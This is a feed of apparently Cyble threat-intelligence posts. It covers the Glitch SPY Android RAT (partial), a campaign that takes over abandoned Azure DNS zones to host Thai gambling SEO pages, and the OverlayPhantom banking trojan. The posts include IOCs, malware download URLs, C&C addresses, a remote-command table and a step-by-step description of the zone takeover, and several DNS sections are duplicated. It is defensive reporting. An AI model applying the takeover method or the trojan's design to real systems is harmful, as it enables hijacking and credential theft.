Defense Evasion (TA0030)	Hide Artifacts: Suppress Application Icon (T1628.001)	Glitch SPY hides its icon
Defense Evasion (TA0030)	Masquerading: Match Legitimate Name or Location (T1655.001)	Glitch SPY masquerades as a Polish rental application
Defense Evasion (TA0030)	Input Injection (T1516)	Glitch SPY can perform actions such as Clicks, swipes, gestures, and enter text into edit fields.
Credential Access (TA0030)	Abuse Accessibility Features (T1453)	Glitch SPY abuses Accessibility service
	Input Capture: Keylogging (T1417.001)	Glitch SPY includes a Keylogging module
Discovery (TA0032)	Software Discovery  (T1418)	Glitch SPY collects installed applications
Discovery (TA0032)	File and Directory Discovery (T1420)	Glitch SPY can enumerate files from external storage
Discovery (TA0032)	Location Tracking (T1430)	Glitch SPY can collect device location
Discovery (TA0032)	System Information Discovery (T1426)	Glitch SPY can collect device information
Collection (TA0035)	Archive Collected Data (T1532)	Glitch SPY compresses the external storage directories as a zip file before sending
Collection (TA0035)	Screen Capture (T1513)	Glitch SPY captures screen content
Collection (TA0035)	Audio Capture (T1429)	Glitch SPY can capture Audio
Collection (TA0035)	Clipboard Data (T1414)	Malware can monitor Clipboard content
Collection (TA0035)	Data from Local System (T1533)	Malware collects encrypted files from external storage
Collection (TA0035)	Protected User Data: Contact List (T1636.003)	Malware collects contact details
Collection (TA0035)	Protected User Data: SMS Messages (T1636.004)	Glitch SPY collects SMS data
Collection (TA0035)	Protected User Data: Accounts (T1636.005)	Malware collects Account information
Collection (TA0035)	Protected User Data: Call Log (T1636.002)	Glitch SPY collects Call logs
Command & Control (TA0037)	Application Layer Protocol (T1437)	Glitch SPY communicates with C2 over TCP
Exfiltration (TA0036)	Exfiltration Over C2 Channel (T1646)	Glitch SPY exfiltrates data to the C&C server
Impact (TA0034)	Data Encrypted for Impact (T1471)	Malware encrypts all the files present on the device with the .enc extension
Impact (TA0034)	Data Destruction (T1662)	Glitch SPY deletes all plain-text files after encryption

Indicators of Compromise (IOCs)

Indicators	Indicator type	Description
hxxps://tutaj-dompl[.]com/Tutajdom.apk	URL	Distribution URL
sportypointsrewards[.]com	Domain	C&C server
80af5e921cf8a3052fe4483bb2eb15953590e72ed003ac61c0b9135575c32075	FileHash-SHA256	Glitch SPY Hash
d439475bf09af7b474cdba2c19e136a1dd38e62b088537445ac3c8e4c2d3a8b1	FileHash-SHA256	Brokewell Loader

The post Glitch SPY: An Emerging Android RAT Distributed Through a Fake Polish Rental App appeared first on Cyble.

Executive Summary

Cyble Research & Intelligence Labs (CRIL) has identified an active SEO poisoning campaign exploiting abandoned cloud DNS zone delegations to serve Thai-language gambling content under the domain authority of reputed enterprise organizations. The campaign has compromised 163 organizations across 30+ countries, spanning federal government agencies, national healthcare systems, financial institutions, critical infrastructure operators, and major universities.

The primary mechanism is the Azure DNS zone takeover. When enterprises decommission cloud infrastructure, NS delegations to Azure DNS zones are routinely left in place. The actor systematically identifies these abandoned delegations, claims the orphaned zones under a fresh Azure subscription, and deploys a Next.js gambling kit behind a valid Let's Encrypt wildcard TLS certificate, all resolving cleanly under the victim's own domain. A browser, a search engine, and a Thai user following a search result all see a page identical to a legitimate enterprise property.

This report documents the full campaign architecture: the pivot chain from initial discovery through infrastructure attribution, the DNS compromise mechanisms observed, the structured affiliate monetization layer with server-side geographic filtering and dual-tier commission tracking, and a dedicated 103-node application backend in Hong Kong tied to a single Chinese operator by twelve independent technical evidence points. At the time of publication, 161 organizations remain actively compromised.

Initial Discovery

During an ongoing vulnerability assessment, CRIL identified an anomalous DNS resolution on the cardsforheroes.verizon.com subdomain environment. What initially appeared to be a single misconfigured endpoint turned out to be 1000+ individually named subdomains, each serving Thai-language online gambling content under Verizon's trusted domain authority.

Every subdomain followed a gambling brand keyword pattern with URL-encoded Thai characters confirming the intended audience. All endpoints resolved to a single IP at OVH SAS (AS16276). Loading a representative endpoint revealed a fully rendered Next.js gambling application with outbound affiliate redirect links.

It matched the structural similarity of 97 other enterprise subdomains across completely unrelated organizations. The affiliate referral parameter on every redirect established the monetization intent immediately: this was not defacement or malware delivery, but a structured operation funneling Thai search traffic to gambling registrations for commission.

The Verizon endpoint was not the campaign's origin. Following it, 162 other compromised organizations were exposed.

Background: The Vulnerability Class

Cloud infrastructure provisioning introduces a category of DNS misconfiguration that is structurally different from the record-level errors security teams routinely audit. When an enterprise provisions Azure resources for a project environment, a standard step is to delegate a subdomain to an Azure DNS zone by adding NS records in the parent DNS zone that point to Microsoft's nameservers for that environment. The zone lives inside the Azure subscription, the team manages its records there, and the project operates normally.

What consistently fails is the decommissioning step. When the project ends, and the Azure resources are deleted, the NS delegation in the parent DNS zone is not usually removed. It persists silently, pointing any DNS query for that subdomain to Azure nameservers that no longer serve authoritative records for it.

In several cases identified during this investigation, these delegations had been left in place for over six years.

The exploitability of this configuration depends on another condition: whether the Azure DNS zone for that subdomain is claimable by a new subscriber. Microsoft's zone-creation model has historically allowed any subscriber to register a zone by name under their own subscription. A zone abandoned with a canceled subscription can be recreated by a third party, who then inherits the delegated DNS authority that the enterprise's parent zone never revoked.

Our analysis of this campaign demonstrates that awareness has not translated into hygiene at an enterprise scale.

DNS Compromise Mechanisms

Four distinct mechanisms account for the 163 confirmed victims. Each exploits the same underlying failure: a DNS delegation that outlived the infrastructure it was created to serve.

Mechanism 1 — Azure DNS Zone Takeover (150+ Organizations)

The actor identifies subdomains whose NS records still point to Azure DNS nameservers, even though the underlying subscription has been canceled or abandoned. A new Azure subscription is created, the orphaned zone is claimed by name, a wildcard A record is added that points all subdomains to a delivery IP, and ACME HTTP-01 validation is performed through the now-controlled DNS to obtain a Let's Encrypt wildcard certificate. One DNS record exposes every possible subdomain of the environment.

Direct authoritative DNS evidence confirms the mechanism. Querying Microsoft's own nameserver infrastructure returns the actor's wildcard A record. Zone SOA serials of 1 on confirmed victims establish that the zones were created from scratch by the actor, not modified from an existing state. Certificate Transparency logs confirm the dormancy periods:

• A major pharmaceutical company's pilot subdomain: last legitimate certificate October 2019, actor certificate April 11, 2026 — a 6.5-year gap
• A global electronics company's IoT platform: last legitimate certificate February 2023, actor certificate April 10, 2026

The bulk of actor-obtained certificates cluster in April 2026, indicating a concentrated automated exploitation window applied across targets abandoned over multiple years.

Mechanism 2 — DigitalOcean DNS Zone Takeover (2 Organizations)

Two organizations, a US luxury furniture retailer and an Indian university, have their compromised subdomains delegated to DigitalOcean nameservers rather than Azure. Both carry wildcard records resolving to 38.127.8.49.

DigitalOcean's zone-claiming model carries the same structural vulnerability: abandoned DNS zones in canceled accounts become available for re-registration. The actor's tooling targets multiple cloud DNS providers.

Mechanism 3 — Direct Wildcard Misconfiguration (2 Organizations)

A US energy company's development subdomain and a mobile payments platform's development subdomain both resolve via wildcard to 139.99.82.106, even though there is no cloud DNS zone delegation. Both use their own organizational nameservers, making cloud zone takeover mechanically impossible.

The wildcard records resolve from within the parent zone, indicating either an orphaned wildcard A record left in the organization's own DNS console when a project was decommissioned, or a direct DNS management access path the actor exploited. "A wildcard A record in the DNS console of a payments platform is a more direct access path than a cloud zone takeover.

Mechanism 3 — Direct Wildcard Misconfiguration (2 Organizations)

A US energy company's development subdomain and a mobile payments platform's development subdomain both resolve via wildcard to 139.99.82.106, even though there is no cloud DNS zone delegation. Both use their own organizational nameservers, making cloud zone takeover mechanically impossible.

The wildcard records resolve from within the parent zone, indicating either an orphaned wildcard A record left in the organization's own DNS console when a project was decommissioned, or a direct DNS management access path the actor exploited. "A wildcard A record in the DNS console of a payments platform is a more direct access path than a cloud zone takeover.

Mechanism 4 — Per-Subdomain A Records (1 Organization)

The Verizon environment represents a distinct approach: 1000+ individually named A records rather than a single wildcard. Each gambling-keyword subdomain is a separately created DNS entry pointing to 51.79.199.51. This implies either an automated DNS API script with zone-write access or a compromised DNS management credential that enabled bulk record creation.

Technical Analysis

Pivoting: From One Endpoint to 163 Organizations

Pivot 1: 51.79.199.51 — Primary Delivery Node and First Scope Expansion

The first pivot came from the primary delivery IP itself. Cross-referencing 51.79.199.51 against passive DNS resolution data and page fingerprint matching returned over 90 enterprise subdomains serving identical content, confirmed by:

• Identical Next.js build ID: QQOrXCFjoI6C9oF-4YVhl
• Identical favicon path: /img/ib99-hq.ico
• Outbound affiliate redirects to the same three destination domains across every result

Every result was a subdomain of a legitimately owned enterprise domain with a clean reputation. Standard threat intelligence feeds returned no signal on any of them. The shared page fingerprint expanded the confirmed victim set from 1 organization to over 90 in a single query.

Pivot 2: 139.99.82.106 and 38.127.8.49 — Secondary and Tertiary Delivery Nodes

Passive DNS resolution data against AS16276 (OVH) surfaced two additional delivery IPs operating in parallel. Both served the identical gambling kit with the same build fingerprint across a partially overlapping but distinct victim set. Government agencies, healthcare organizations, and several non-Azure takeover victims routed through these two nodes rather than the primary. Together, the three OVH nodes account for the full 163-organization victim estate. All three presented clean IP reputations, no prior association with threat actors, and standard deployment signatures at the surface level.

Pivot 3: 38.173.56.218 — The JARM Anomaly That Exposed the Backend

JARM TLS fingerprinting against the primary delivery node returned thousands of global matches, nearly all of them generic shared hosting providers. One result stood apart by every observable metric: 38.173.56.218 in Hong Kong, AS398478 (PEG TECH INC), presenting:

• A ThinkPHP application framework error on port 443
• A Chinese server management panel certificate identity on port 21
• MySQL 5.7.44-log on port 3306

Where every other JARM match represented commodity hosting, this node showed a purpose-built application stack managed from mainland China. This was the single point of entry from the OVH delivery layer into the backend infrastructure. Figures 2 and 3 showcase these using findings from ODIN by Cyble.

Affiliate Architecture: How the Campaign Monetizes

Every destination redirect carries a ?rc= affiliate code — ibiza99vip1, bigwinv1, link99, or seven77vip1 — that attributes completed registrations to the actor and triggers a commission payout from the destination platform. This is standard affiliate marketing infrastructure; legal and illegal gambling operations use it. A server-side layer beneath the visible code separates this campaign from simple redirect farms. A POST request intercepted at a live endpoint returned this before any redirect was issued:

• "status": "ok",
•  "msg": "TH - Referrer verified",
•  "data": { "referrer": "link99" },
•  "x-token": ""

The backend validates geographic origin server-side. Requests from outside Thailand are not redirected, keeping traffic focused and limiting scanner exposure. The link99 identifier is a sub-affiliate publisher ID that sits above the ?rc= codes in the platform's tracking hierarchy.

The actor earns at both tiers: publisher-level credit under link99 for delivering Thai traffic, and a per-registration payout under the ?rc= code for each conversion. The two layers are independent — campaign codes can rotate while link99 persists as the actor's permanent platform identity.

Pivoting on the Let's Encrypt certificate presented by this node, issued to broker-xm.com, returned 103 IPs across seven contiguous /24 subnets in 38.173.0.0/16, all within AS398478. A single certificate deployed across 103 servers in a wholesale-allocated IP block produced the complete backend fleet inventory from one certificate query.

Affiliate Architecture: How the Campaign Monetizes

Every destination redirect carries a ?rc= affiliate code — ibiza99vip1, bigwinv1, link99, or seven77vip1 — that attributes completed registrations to the actor and triggers a commission payout from the destination platform. This is standard affiliate marketing infrastructure; legal and illegal gambling operations use it. A server-side layer beneath the visible code separates this campaign from simple redirect farms. A POST request intercepted at a live endpoint returned this before any redirect was issued:

• "status": "ok",
•  "msg": "TH - Referrer verified",
•  "data": { "referrer": "link99" },
•  "x-token": ""

The backend validates geographic origin server-side. Requests from outside Thailand are not redirected, keeping traffic focused and limiting scanner exposure. The link99 identifier is a sub-affiliate publisher ID that sits above the ?rc= codes in the platform's tracking hierarchy.

The actor earns at both tiers: publisher-level credit under link99 for delivering Thai traffic, and a per-registration payout under the ?rc= code for each conversion. The two layers are independent — campaign codes can rotate while link99 persists as the actor's permanent platform identity.

Four destination platforms have been confirmed — ibiza99.autos, big888.store, seven77.click, and stillsunday.pl. These domains are white-label deployments on a shared codebase, as confirmed by identical CSS hashes and JavaScript resilience logic across all three, except big888.store, which carries active Google Search Console verification, indicating the platform operator runs its own independent SEO operation beyond this campaign. Each platform maintains its own appbox.* CDN subdomains, a fourth infrastructure layer entirely separate from the delivery nodes, backend fleet, and victim domains.

The Gambling Kit: What the Endpoint Delivers

An HTTP request to any compromised enterprise subdomain with Thai locale headers returns a fully rendered Next.js page that returns a legitimate enterprise web property. The page presents

• lang="th" with Thai-language gambling platform branding
• A valid Let's Encrypt wildcard TLS certificate matching the victim subdomain, clean browser padlock, no warnings
• Schema.org FAQ structured data with Thai-language answers about minimum deposits, withdrawal timelines, and mobile compatibility, directly targeting the queries Thai users make when researching gambling platforms
• AMP alternate links for Google mobile indexing coverage
• Static assets served from paths under the compromised domain itself, using the victim's domain authority as a CDN

The minimum deposit advertised across all kit variants is 1 Thai Baht, approximately $0.03 USD. The 1-baht minimum ($0.03 USD) removes the deposit threshold that causes most users to abandon the registration flow before converting. The kit fingerprint is consistent across the entire victim estate, regardless of which victim domain or OVH node serves the content, confirming centralized build and deployment by a single operator.

Backend Infrastructure: The Hong Kong Fleet

The three OVH delivery nodes handle content distribution, but the application layer sits entirely within a separate dedicated infrastructure in Hong Kong. The 103-node backend fleet is distributed across seven /24 subnets within 38.173.0.0/16, all under AS398478 (PEG TECH INC). Seven independent evidence points converge on single-operator control; the MD5 match across all 103 nodes on port 80 alone eliminates coincidence.

Evidence Point	Detail	Weight
HTTP body MD5 match	7df3d7cf3358af3f470ac7229387ef94 (615 bytes) identical across all 103 nodes on port 80	Critical
Single shared certificate	broker-xm.com Let's Encrypt cert deployed across all 103 servers	High
Envoy proxy fingerprint	Identical 503 error string on port 443 across all 103 nodes	High
MySQL version	5.7.44-log with binary replication logging enabled uniformly	High
BT-Panel provisioning	admin@bt.cn, Dongguan, Guangdong, on FTP certificates across all nodes	High
JARM fingerprint	07d14d16d21d21d07c42d43d000000270a013a3e21e28897e76e8fe13e2f7d uniform across fleet	High
Zero PTR records	No reverse DNS on any of the 103 IPs, deliberate suppression	Medium

Detection and Hunting

The campaign produces no signal in standard security controls. Valid TLS certificates, clean IP reputation, trusted domain names, and no exploit delivery mean conventional tooling produces no signal. Detection requires operating at the DNS layer.

Certificate Transparency monitoring is the most reliable early indicator. An unexpected Let's Encrypt wildcard certificate on a corporate-owned subdomain, particularly following a period of no issuance, is an anomaly no legitimate provisioning scenario produces. Monitoring CT logs for wildcard certificates whose expected issuer is a corporate or premium CA would have detected every Azure takeover victim at the time of certificate issuance.

Azure DNS zone delegation auditing is a structural prevention control. Organizations should enumerate all NS delegation records in their parent DNS zones and verify that corresponding Azure DNS zones exist in subscriptions they own and actively manage. 163 organizations across 30 countries had gambling content served under their domain authority without any alert firing. One class of DNS misconfiguration enabled it.

Wildcard DNS testing confirms active exploitation. A randomized nonsense hostname query against any Azure-delegated subdomain that returns a resolution should be treated as a compromised zone until proven otherwise.

Network and endpoint detection rules:

• DNS answers resolving to 51.79.199.51, 139.99.82.106, or 38.127.8.49
• URL query parameters containing rc=ibiza99vip1, rc=bigwinv1, or rc=seven77vip1 or rc=link99
• HTTP requests to /img/ib99-hq.ico
• Outbound connections to 38.173.30.0/24, 38.173.37.0/24, 38.173.56.0/24, 38.173.57.0/24, 38.173.235.0/24, 38.173.236.0/24, or 38.173.239.0/24

Internet scanning queries:

• HTTP body MD5: 7df3d7cf3358af3f470ac7229387ef94
• TLS certificate CN: broker-xm.com
• ASN sweep: AS398478

Remediation

For Azure DNS zone takeover victims:

1. Remove the NS delegation from your parent DNS zone immediately. This severs the attack chain regardless of what the actor maintains inside the Azure zone, which is under their control and cannot be directly modified by the victim organization.
2. Report the abandoned zone to Microsoft MSRC at msrc@microsoft.com with the zone name and evidence. Microsoft can force-remove zones from subscriptions holding abandoned delegations.
3. Request revocation of any Let's Encrypt certificates issued against the compromised subdomain using the certificate serial numbers from crt.sh.
4. Audit all remaining subdomains for additional environment-style entries (dev, uat, staging, preprod, pilot, lab, test, sandbox) carrying NS delegations to cloud providers, and verify each delegation is intentional, current, and managed.

For DigitalOcean zone takeover victims: Remove the NS delegation from the parent zone and verify whether the DigitalOcean zone exists in an account you own.

For direct wildcard misconfiguration victims: Remove the wildcard A record from your DNS management console. If the origin of the record cannot be identified, treat the DNS management credential as compromised and rotate it immediately.

Conclusion

This campaign demonstrates that enterprise reputational trust can be systematically harvested through a single class of DNS misconfiguration that most organizations have no visibility into. The actor did not breach any perimeter or exploit any application vulnerability. They claimed what had been left unclaimed and built a commercial affiliate operation on top of it.

The scale, 163 organizations across 30+ countries, is not the result of 163 separate attacks. It is an automated scanning process applied to a single vulnerability class. A single wildcard record beneath an abandoned Azure delegation exposes an unlimited subdomain namespace, each entry inheriting the full TLS-verified authority of the victim's brand. The campaign lives entirely within legitimate infrastructure, OVH delivery nodes, Let's Encrypt certificates, victim-owned domains, and organic search rankings, which is precisely why conventional controls produce no signal.

Audit your DNS estate. Every abandoned NS delegation pointing to a cloud provider is a candidate for the next version of this list. Every abandoned NS delegation pointing to a cloud provider is a potential entry in the next version of this list. The remediation is simple. The detection methodology is documented here. The gap between a decommissioned project and an actively exploited subdomain closed silently on 163 organizations. In several cases, it stayed closed for over six years.

MITRE ATT&CK® Techniques

Technique	ID	Description
Resource Development — Acquire Infrastructure	T1583.003	OVH VPS for delivery; PEG TECH INC ASN for backend fleet
Resource Development — Compromise Infrastructure	T1584	Azure DNS zone takeover of legitimate enterprise subdomains
Initial Access — Drive-by Compromise	T1189	Thai users directed to compromised enterprise subdomains via organic search
Persistence — Valid Accounts	T1078	DNS management credentials implied by per-subdomain record creation (Verizon)
Defense Evasion — Impersonation	T1656	Gambling kit served under legitimate enterprise TLS certificates
Defense Evasion — Valid Accounts: Cloud Accounts	T1078.004	Azure account used to claim abandoned DNS zones
Collection — Adversary-in-the-Middle	T1557	Server-side affiliate referrer verification intercepts the user session
Exfiltration — Web Service	T1567	User registration data and financial transactions were exfiltrated to gambling platforms

Indicators of Compromise (IOCs)

Delivery Infrastructure
Indicator	Type	Description
51.79.199.51	IP	Primary OVH delivery node, AS16276
139.99.82.106	IP	Secondary OVH delivery node, AS16276
38.127.8.49	IP	Tertiary OVH delivery node, AS16276
38.173.30.0/24	CIDR	Backend fleet, AS398478 PEG TECH INC
38.173.37.0/24	CIDR	Backend fleet, AS398478 PEG TECH INC
38.173.56.0/24	CIDR	Backend fleet, AS398478 PEG TECH INC
38.173.57.0/24	CIDR	Backend fleet, AS398478 PEG TECH INC
38.173.235.0/24	CIDR	Backend fleet, AS398478 PEG TECH INC
38.173.236.0/24	CIDR	Backend fleet, AS398478 PEG TECH INC
38.173.239.0/24	CIDR	Backend fleet, AS398478 PEG TECH INC
Certificates and Fingerprints
Indicator	Type	Description
d9799ca2f08af6992dc80c49f9889fef40ed27c7	SHA1	bt.default.com custom CA on primary delivery node
broker-xm.com	Domain	Let's Encrypt cert across all 103 backend nodes
07d14d16d21d21d07c42d43d000000270a013a3e21e28897e76e8fe13e2f7d	JARM	TLS fingerprint across delivery and backend infrastructure
7df3d7cf3358af3f470ac7229387ef94	MD5	HTTP body hash, 615 bytes, port 80, all 103 backend nodes
Campaign Kit Fingerprints
Indicator	Type	Description
QQOrXCFjoI6C9oF-4YVhl	String	Next.js build ID across all delivery endpoints
/img/ib99-hq.ico	URI	Kit-specific favicon path
main.af42a497.css	Hash	Shared CSS fingerprint across all three destination platforms
pub-a4952b46ff9c4f6b8d5529cd21f9a1e3.r2.dev	Domain	Cloudflare R2 CDN bucket
Affiliate Domains and Tracking
Indicator	Type	Description
ibiza99.autos	Domain	Destination platform, affiliate code ibiza99vip1
big888.store	Domain	Destination platform, affiliate code bigwinv1
seven77.click	Domain	Destination platform, affiliate code seven77vip1
link99.nova555.rest	Domain	Destination platform, affiliate code link99
appbox.7y6texmeyy.com	Domain	ibiza99.autos image CDN
appbox.devh5api27.xyz	Domain	big888.store image CDN
appbox.55u4g5g4k2.com	Domain	seven77.click image CDN
322242757545449	Pixel ID	Facebook Pixel, ibiza99.autos
1607473696511298	Pixel ID	Facebook Pixel, ibiza99.autos
721331896825411	Pixel ID	Facebook Pixel, big888.store
GTM-NP59MP3T	GTM ID	Google Tag Manager, big888.store
Parallel Operations (AS398478)
Indicator	Type	Description
99997778.com	Domain	Active Chinese gambling platform, AS398478
bevictor.com	Domain	Chinese offshore sports betting (伟德国际), AS398478

The post Borrowed Trust – Systematic Exploitation of Abandoned Cloud DNS Delegations to serve Thai Gambling SEO Content appeared first on Cyble.

Executive Summary

Cyble Research and Intelligence Labs (CRIL) has identified a novel Android banking trojan, dubbed OverlayPhantom, actively distributed in the wild via malicious URLs.

The malware employs a two-stage infection chain, using a dropper application that impersonates trusted platforms, including the official Austrian government identity application, ID Austria, and the widely used consumer platform TikTok, to deceive victims into installing it.

Once deployed, OverlayPhantom masquerades as "Google Play Services" and abuses Android's Accessibility Service to gain persistent, elevated control of the infected device.

The malware is capable of executing over 30 remote commands, conducting real-time screen streaming, performing overlay attacks using embedded HTML phishing pages, and exfiltrating harvested credentials to a multi-port Command and Control (C&C) infrastructure.

Victimology

OverlayPhantom, active since May 2025, targets over 180 applications across banking, financial services, and cryptocurrency platforms, spanning 10 countries, including the United States, Australia, Germany, France, Belgium, Finland, the Netherlands, Italy, Spain, and the United Kingdom.

The breadth of its targeting, combined with its operational sophistication, indicates a financially motivated threat actor with the capability and intent to conduct large-scale fraud across Western markets.

Key Takeaways

• OverlayPhantom is a sophisticated Android banking trojan distributed via phishing URLs that impersonate high-trust applications.
• The malware deploys via a dropper application that simulates a fake Google Play service update and guides victims to enable the Accessibility Service.
• It abuses Android's Accessibility Service to silently monitor foreground app activity, intercept user input, simulate gestures, and maintain persistent control over the infected device.
• The malware currently targets over 180 banking, finance, and cryptocurrency applications across 10 countries using embedded WebView-based HTML phishing overlays that are visually indistinguishable from the legitimate apps they impersonate.
• C&C communication is handled over three dedicated non-standard ports — 9091 for command dispatch, 9092 for device status reporting, and 9090 for screen streaming.
• OverlayPhantom supports over 30 remote commands, enabling the threat actor to perform automated gestures, manipulate clipboard content, lock the device screen, display fake notifications, and capture PIN or password input via custom overlay windows.
• A built-in JPEG-based screen streaming capability, powered by Android's MediaProjection API, grants the threat actor near real-time visual access to the victim's device screen with minimal bandwidth overhead.

Overview

During an investigation into government-themed URL impersonation, Cyble Research and Intelligence Labs (CRIL) uncovered a previously undocumented Android banking trojan, dubbed OverlayPhantom.

The malware is being actively distributed in the wild through malicious URLs and masquerades as legitimate, high-trust applications to deceive users into installing it. CRIL’s analysis indicates that OverlayPhantom has been active since early May 2025.

The initial sample discovered was hosted at hxxps://bitlrewards-app[.]com/api/download/IDAustria, distributing a malicious APK masquerading as ID Austria — the official Austrian government digital identity application.

The choice of this lure is significant, as impersonating a government identity service creates a strong social engineering pretext, particularly for victims who may be prompted to grant sensitive permissions under the guise of identity verification.

A second sample attributed to the same malware was identified impersonating TikTok and appeared to target users in Spain. The use of a high-popularity consumer application as a secondary lure indicates the threat actor is deliberately diversifying their distribution strategy across both institutional and consumer-facing decoys.

Although the distribution URL and observed sample appeared to target Austria, source code analysis revealed that OverlayPhantom is configured to target more than 180 applications across banking, financial services, and cryptocurrency platforms in multiple geographies, including the United States, Australia, Germany, France, Belgium, Finland, the Netherlands, Italy, Spain, and the United Kingdom. This wide targeting scope suggests a financially motivated threat actor operating a scalable and well-resourced campaign.

The malware abuses Android's Accessibility Service, a recurring technique among sophisticated Android banking trojans, to gain elevated control over the infected device.

Observed capabilities include overlay attacks to harvest credentials by displaying fraudulent screens over legitimate banking applications, real-time screen streaming to exfiltrate sensitive on-screen data, and automated action execution to perform unauthorized transactions and interactions without user awareness.

The combination of government and consumer app impersonation, wide geographic and sector targeting, and abuse of core Android accessibility features positions OverlayPhantom as a significant threat to both retail banking customers and cryptocurrency users across Western markets.

Technical Analysis

OverlayPhantom employs a two-stage delivery mechanism, utilizing a dropper application as the initial infection vector before deploying the core malware payload.

Upon execution, the dropper presents the victim with a convincing fake Google Play update screen, social-engineering the user into voluntarily installing what appears to be a legitimate system update. This technique effectively bypasses user suspicion by leveraging the inherent trust associated with the Google Play ecosystem.

Additionally, the dropper includes an interactive step-by-step tutorial that guides the victim through enabling the Accessibility Service.

Once the victim completes the installation, the OverlayPhantom payload is installed onto the device. The malware immediately prompts the user to grant Accessibility Service permissions. Subsequently, it masquerades as "Google Play Services", making it significantly harder for the victim to identify or remove the malicious application.

Command & Control Communication

Once the victim grants the Accessibility Service permission, OverlayPhantom immediately establishes communication with its Command and Control (C&C) server at hxxps://199.217[.]99[.]122, utilizing a socket-based connection for real-time bidirectional communication between the infected device and the threat actor's infrastructure.

Notably, the malware does not rely on a single communication channel. Instead, it distributes its C&C traffic across three dedicated ports, as listed below:

Port	Description
9092	Used for device status and reporting
9091	Used as a Command and Control channel
9090	Used for screen streaming

Over OverlayPhantom, port 9091 receives operator-issued commands, executes them on the victim's device, and subsequently relays stolen data or execution status reports back to the server.

Analysis of the malware's source code reveals that OverlayPhantom can execute over 30 distinct commands, reflecting the breadth of control the threat actor can exert over a compromised device.

The full command set is detailed in the table below.

Command	Description
tap	Performs a Tap Gesture
doubleTap	Performs a double-tap gesture
longPress	Performs a long-press gesture
swipe	Performs a swipe gesture
draw	Performs a custom gesture path
openRecents	Opens the Recent Apps screen
switchScreen	Keep the screen on from the locked state
volumeUp	Increases Audio Volume
volumeDown	Reduces the volume
power	Open the power menu
brightSettings	Open display settings
back	Performs back action
home	Performs home action
buf	Set the attacker-provided text to the clipboard content
target	Malware receives the list of target applications
startStreamJpeg	Initiates screen streaming
stopStreamJpeg	Stops screen streaming
startStreamACNode	Start sending Accessibility node information
stopStreamACNode	Stop sending Accessibility node information
ping	Maintaining the keepalive mechanism
Pong	Maintaining the keepalive mechanism
stub	Not implemented
register	Registers the device with BotID
resendInj	Reset target package injection list
rmResend	Deletes the file received from the server
switchOffScreen	Lock the device screen
blankScreen	Display a blank overlay screen
blankScreenRm	Removes the blank overlay screen
pinj	Display an overlay window to collect a PIN, a password or a draw pattern
notif	Displays a fake notification banner using the target app icon and name

Overlay Attack: Targeting Banking, Finance, and Cryptocurrency Applications

OverlayPhantom leverages the Accessibility Service to continuously monitor foreground application activity on the infected device. The malware maintains a hardcoded target application list embedded in its source code and includes a collection of counterfeit HTML phishing pages bundled directly into the APK's resources.

These pages are meticulously crafted to impersonate legitimate banking and financial applications, deceiving victims into submitting their credentials or payment card details.

When the victim launches a banking or financial application, OverlayPhantom silently checks whether the application's package name is present in its target list.

Upon a positive match, the malware retrieves the corresponding phishing page from its internal resources, renders it in an embedded WebView, and displays it as a seamless overlay window directly above the legitimate application. From the victim's perspective, the experience is indistinguishable from interacting with the genuine application.

Once the victim enters their credentials into the fraudulent overlay, OverlayPhantom harvests the submitted username, password, or card details and silently exfiltrates the stolen data to the C&C server, completing the credential theft cycle without raising any visible indication of compromise on the device.

Screen Streaming

OverlayPhantom provides real-time screen streaming via JPEG, which can be controlled remotely via the startStreamJpeg and stopStreamJpeg commands.

Upon receiving the startStreamJpeg command, the malware initiates a screen capture using Android's MediaProjection API, creating a VirtualDisplay instance named jpeg-stream and attaching it to an ImageReader to continuously capture the device's screen.

The output is resized to a fixed width of 540 pixels, with the height dynamically calculated to preserve the victim device's native screen aspect ratio.

While screen capture is active, the malware establishes a TCP connection to the C&C server on port 9090. Before transmitting any frames, it sends a bot and session identifier, derived from the malware's configured Bot ID and the device ID, to register the streaming session with the operator.

The malware then enters a continuous capture loop, calling acquireLatestImage() to fetch the latest screen frame, converting it into a Bitmap, compressing it as a JPEG, and writing the resulting bytes directly to the socket.

This provides the threat actor with near-real-time visibility into the victim's screen activity while keeping bandwidth consumption lower than that of raw frame transmission.

The streaming loop incorporates resilience logic to handle interruptions gracefully. If no frame is available, the malware briefly sleeps and resumes polling. In the event of a socket failure, it increments a retry counter, pauses for approximately two seconds, closes the active stream and socket, and attempts to re-establish the connection.

Once the retry threshold is exceeded, the streaming flag is disabled to prevent an indefinite number of reconnection attempts. The operator can terminate the stream at any time by issuing the stopStreamJpeg command, which flips the streaming state and invokes the corresponding service logic to cleanly shut down the capture session.

Conclusion

OverlayPhantom represents a mature and methodically engineered Android banking threat. From its deceptive dropper stage — which exploits user trust in the Google Play ecosystem — to its abuse of the Accessibility Service, multi-port C&C architecture, overlay-based credential harvesting, and real-time screen streaming, the malware demonstrates a high degree of operational sophistication.

Its broad targeting scope, encompassing over 180 banking, financial, and cryptocurrency applications across 10 countries at the time of this analysis, further underscores the scale of the threat actor's ambitions. Based on the observed functionality, we anticipate the threat actor’s targeting scope and potential blast radius will continue to expand.

The techniques employed by OverlayPhantom are not novel in isolation, but their combination, particularly the use of government and consumer application lures, hardcoded phishing overlays, and granular remote-control capabilities, reflects a threat actor with both the technical capability and the strategic intent to conduct large-scale financial fraud across multiple regions.

Organizations and individuals operating in the targeted geographies should treat this threat with a high degree of urgency.

Our Recommendations

We have listed some essential cybersecurity best practices that serve as the first line of defense against attackers. We recommend that our readers follow the best practices given below:

• Install Apps Only from Trusted Sources:
  Download apps exclusively from official platforms, such as the Google Play Store. Avoid third-party app stores or links received via SMS, social media, or email.
• Be Cautious with Permissions and Installs:
  Never grant permissions and install an application unless you're certain of an app's legitimacy.
• Watch for Phishing Pages:
  Always verify the URL and avoid suspicious links and websites that ask for sensitive information.
• Enable Multi-Factor Authentication (MFA):
  Use MFA for banking and financial apps to add an extra layer of protection, even if credentials are compromised.
• Report Suspicious Activity:
  If you suspect you've been targeted or infected, report the incident to your bank and local authorities immediately. If necessary, reset your credentials and perform a factory reset.
• Use Mobile Security Solutions:
  Install a mobile security application that includes real-time scanning.
• Keep Your Device Updated:
   Ensure your Android OS and apps are updated regularly. Security patches often address vulnerabilities exploited by malware.

MITRE ATT&CK® Techniques

Tactic	Technique ID	Procedure
Initial Access (TA0027)	Phishing (T1660)	OverlayPhantom is distributed via phishing sites
Persistence (TA0028)	Event Triggered Execution: Broadcast Receivers (T1624.001)	OverlayPhantom implemented a broadcast receiver for screen capturing
Defense Evasion (TA0030)	Hide Artifacts: Suppress Application Icon (T1628.001)	OverlayPhantom hides its icon
